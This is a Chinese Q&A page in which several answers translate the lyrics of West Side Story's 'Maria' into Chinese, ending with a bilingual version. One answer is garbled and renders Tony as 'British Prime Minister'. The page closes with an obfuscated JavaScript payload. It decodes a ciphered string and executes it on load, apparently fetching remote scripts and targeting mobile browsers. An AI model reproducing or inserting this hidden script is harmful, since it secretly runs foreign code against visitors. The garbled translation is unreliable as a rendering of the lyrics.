请帮忙翻译一下这首歌的歌词，不要用翻译软件，要逐字逐句翻译！！谢谢
推荐回答（4个）
玛丽亚，玛丽亚，
是我听过最美的声音
玛丽亚，玛丽亚，玛丽亚
所有世界上美丽的声音汇聚成一个字
玛丽亚，玛丽亚，玛丽亚
玛丽亚，玛丽亚，玛丽亚
玛丽亚，我刚刚遇见了一个叫玛丽亚的女孩
忽然之间，这个名字对我有不同的意义
玛丽亚，我刚刚亲吻了一个叫玛丽亚的女孩
忽然之间，我发现声音是多么地美妙
玛丽亚，大声呼喊她，就像在演奏音乐
玛丽亚，温柔地呼唤她，就像在做祈祷
这是我听过过最美妙的声音
玛丽亚
只有你，你是我永远的唯一
我眼里看到的，嘴边念叨的，一切一切
都只有你
永远
托尼
除了玛丽亚什么都没有
我的眼里看到的只有玛丽亚
玛丽亚
托尼，托尼
托尼
总是你，每一个想法我都知道
我一个地方我都会追随
托尼和玛丽亚
在这个世界上只有你和我
玛丽亚
今夜，今夜
一切都会开始
我看你你和世界一起消失
今夜，今夜
只有你的夜晚
你是谁，你做什么，你说什么
托尼
今天，我有一种感觉
奇迹会发现
我知道我是对的
托尼和玛丽亚
因为有你在这里
一颗星就是一个世界
今夜
今夜，今夜
世界的每一个角落都充满了日光和月光
今夜，今夜
世界是自由和光明的
今天，世界只是一个地址
一个让我居住的地方
一个再好不过的地方
但是你在这里
世界是一颗星
今夜
晚安，晚安
睡个好觉，当你做梦
一定要梦到我
今夜。
玛丽亚，玛丽亚
我听过最美的声音
玛丽亚，玛丽亚，玛丽亚
世界上所有美妙的声音汇成一个名字
玛丽亚，玛丽亚，玛丽亚
玛丽亚，玛丽亚，玛丽亚
玛丽亚，我刚刚认识的一个女孩名叫玛丽亚
突然这名字对我来说将
不会同过去一样，
玛丽亚！
我刚刚亲吻了一个女孩名叫玛丽亚
突然我发现
声音可以如此美妙
玛丽亚！大声点
音乐正在演奏
那么温柔
就像祈祷
玛丽亚！我永远不会停止说玛丽亚
玛丽亚！玛丽亚！玛丽亚
玛丽亚！玛丽亚！玛丽亚
玛丽亚！大声说
音乐正在演奏
那么温柔
就像祈祷
我听过的最美丽的声音
玛丽亚！
只有你，你是我永远的唯一
在我眼中在我话中和我所做的一切
再无其他，只有你
曾经
TONY
对我来说玛丽亚是唯一
我的视线，看到的是玛丽亚
MARIA
Tony, Tony
TONY
我的脑海都是你
你永在我的所在
TONY & MARIA
全世界只有你和我
玛利亚
今晚，今晚
这一切都始于今晚
我看着你 世界已经离开
今晚，今晚
今晚只有你
你，你的动作，你的话语
TONY
今天，我感受今天
奇迹会发生
我知道我是正确的
TONY & MARIA
在这里
整个世界是颗星星
今夜
今晚，今晚
世界充满光芒
太阳和月亮各奔东西
今晚，今晚
世界自由光亮
去疯狂
向太空发射火花
今天，世界只是一个地址
我住在这里，
忽略所有权利
但在你在这
整个世界是颗星星
今夜
晚安，晚安
好好睡觉，当你美梦
梦到我
今夜
【累死我了！。。。】
玛丽亚，玛丽亚
最美丽的声音我听过
玛丽亚，玛丽亚，玛丽亚
所有的美丽的声音在世界上一个字
玛丽亚，玛丽亚，玛丽亚
玛丽亚，玛丽亚，玛丽亚
玛丽亚，我刚刚认识的一个女孩名叫玛丽亚
突然的名称将
不会同过去一样，我
玛丽亚！
我只是亲吻一个女孩名叫玛丽亚
突然，我发现
多么美妙声音可
玛丽亚！大声说
有音乐播放
说软
这几乎像祈祷
玛丽亚！我永远不会停止说玛丽亚
玛丽亚！玛丽亚！玛丽亚
玛丽亚！玛丽亚！玛丽亚
玛丽亚！大声说
有音乐播放
说软
这几乎像祈祷
最美丽的声音我从未听说
玛丽亚！
只有你，你是我唯一会看到永远
在我看来在我说的话和我的一切
没有别的，但您
曾经
英国首相
并没有什么，但对我来说玛丽亚
每个视线，我看到的是玛丽亚
玛利亚
英国首相托尼
英国首相
总是你，每一个想我会知道
我到处都去您将
英国首相与玛丽亚
全世界都只有你和我
玛利亚
今晚，今晚
这一切都开始今晚
我看见你和世界上走
今晚，今晚
只有你今晚
你是，你怎么做，你说的话
英国首相
今天，所有一天我感觉
奇迹会发生
我知道现在我是正确的
英国首相与玛丽亚
在这里你
什么是公正的世界是一个明星
今夜
今晚，今晚
世界是充满光
随着太阳和月亮各地
今晚，今晚
世界野生和光明
去疯狂
射击火花进入太空
今天，世界只是一个地址
在这里，我住在
不比所有权利
但在这里你
什么是公正的世界是一个明星
今夜
晚安，晚安
睡不好觉，当你的梦想
我的梦
今夜
Maria，Maria 玛利亚，玛利亚
Most beautiful sound I ever heard 我听过最美的声音
Maria，Maria， Maria 玛丽亚。。。
All the beautiful sounds of the world in a single word 世界上所有美丽的声音都浓缩在了这个名字
Maria，Maria， Maria 玛丽亚。。。
Maria，Maria， Maria 玛丽亚。。。
Maria，I just met a girl named Maria 玛利亚，我刚刚遇见一个叫玛利亚的女孩
And suddenly the name will 突然间，这个名字
Never be the same to me 对我来说不再一样了
Maria! 玛丽亚！
I just kissed a girl named Maria 我吻了一个叫玛利亚的女孩
And suddenly I found 突然间，我发现
How wonderful a sound can be 这是多么美妙的声音啊
Maria!say it loud 玛丽亚！说出声来，
And there is music playing 音乐在播放
Say it soft 温柔地说
And it’s almost like praying 就像是祈祷
Maria! I’ll never stop saying Maria 玛利亚！我将不停的重复它。
Maria!Maria! Maria 玛丽亚。。。
Maria!Maria! Maria 玛丽亚。。。
Maria! say it loud 玛丽亚！说出声来
And there is music playing 音乐正在播放
Say it soft 温柔的说
And it’s almost like praying 就像是祈祷
The most beatiful sound I ever heard 我听过最美的声音
Maria! 玛丽亚！
Only you, you're the only thing I'll see forever 只有你，你是我眼中永远的唯一
In my eyes in my words and in everything I do 在我的眼里，我的言语，还有我做过的所有
Nothing else but you 没有其他只有你
Ever 在任何时候
TONY 托尼
And there's nothing for me but Maria 我没有其他只有玛丽亚
Every sight that I see is Maria 玛丽亚是我的视线里的一切
MARIA 玛丽亚
Tony, Tony 托尼，托尼
TONY 托尼
Always you, every thought I'll ever know 你总是我所关心的一切
Everywhere I go you'll be 你伴随着我到每个地方
TONY & MARIA 托尼和玛丽亚
All the world is only you and me 全世界只有我和你
MARIA 玛丽亚
Tonight, tonight 今夜，今夜
It all began tonight 从今夜起
I saw you and the world went away 我看到了你，整个世界都离去了 （或者是 世界从此隔离了）
Tonight, tonight 今夜，今夜
There's only you tonight 今夜只有你
What you are, what you do, what you say 你还有你做的你说的
TONY 托尼
Today, all day I had the feeling 今日，我曾有直觉
A miracle would happen 奇迹将发生
I know now I was right 我现在知道我是对的
TONY & MARIA 托尼和玛丽亚
For here you are 为你在这
And what was just a world is a star 一个星星就是一个世界
Tonight 今夜
Tonight, tonight 今夜，今夜
The world is full of light 全世界都明亮了
With suns and moons all over the place 太阳和月亮出现同一片天空
Tonight, tonight 今夜，今夜
The world is wild and bright 世界很狂热，很欢快
Going mad 接近疯狂
Shooting sparks into space 在空中绽出了火花
Today, the world was just an address 今日， 世界只是一个地址
A place for me to live in 我生活的地方
No better than all right 仅此而已
But here you are 但你来了
And what was just a world is a star 一个星星就是一个世界
Tonight 今夜
Good night, good night 晚安，晚安
Sleep well and when you dream 做个甜美的梦
Dream of me 关于我的梦
Tonight 今夜
翻译的不是很好。。见笑了。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
